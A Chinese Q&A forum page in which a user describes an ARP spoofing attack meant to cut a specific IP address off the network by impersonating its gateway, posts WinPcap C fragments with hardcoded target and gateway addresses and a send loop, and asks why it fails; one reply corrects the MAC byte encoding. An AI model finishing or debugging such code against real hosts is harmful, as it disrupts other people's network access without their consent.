有关winpcap发包的问题,包已组好,也已发出,但是貌似没反应

原意是发送一个arp包,arp攻击特定ip,冒充网关给他假的mac地址,让他上不了网包中有关ip及mac信息:unsignedcharSendMacAddr[]="eef... 原意是发送一个arp包,arp攻击特定ip,冒充网关给他假的mac地址,让他上不了网包中有关ip及mac信息: unsigned char SendMacAddr[]="eeffffffffff"; //假的,随意的macunsigned char DestMacAddr[]="ffffffffffff"; //广播接收unsigned long ReceiveIp =htonl(inet_addr("222.31.66.220")); //接受方IP(真的)unsigned long SendIP = htonl(inet_addr("222.31.66.254")); //发送方IP(真的网关)发包前把发包写进的文件: 先发送的一个并写进去,做测试FILE *filetmp2;filetmp2 = fopen("d:\\test\\filetmp_peosonalARP","w");fwrite(Head_Send_Packet,1,60,filetmp2);fclose(filetmp2); pcap_sendpacket(fp,Head_Send_Packet, 60 ); (这里我用了一个messagebox,正常弹出,具体略)后面我附件的持续发包的时候:clock_t start,finish;start=clock();bool Flag_Thread_SendPacket = true;//while(Flag_Thread_SendPacket)for(i=0;i<100;i++){pcap_sendpacket(fp,Head_Send_Packet,60) ;Sleep(500);finish=clock();if((finish-start) > 10000000)}现在遇到两个问题:1.我正常发包后,发包内容我用winhex截下来,但是目的机总是能正常上网,丝毫不受影响,对方杀毒软件什么的也不报错2.那个持续发包程序只要运行,貌似1、2后MFC程序卡主,我后将这个放在线程中,但现在不知道还是否在正常发包。这个是winhex截取发的包:

发包中的填入格式:

参考网页:[img=http://www.cppblog.com/Lee7/archive/2008/05/23/50835.html][/img]
展开
 我来答
百度网友5a16a12
2013-05-07 · TA获得超过517个赞
知道小有建树答主
回答量:418
采纳率:0%
帮助的人:471万
展开全部
MAC如果是广播地址,应该是全FF,但不是字符F,即可以是:
unsigned char DestMacAddr[]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}

建议用wireshark之类的抓包软件抓个arp报文看看,一看就明白了
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式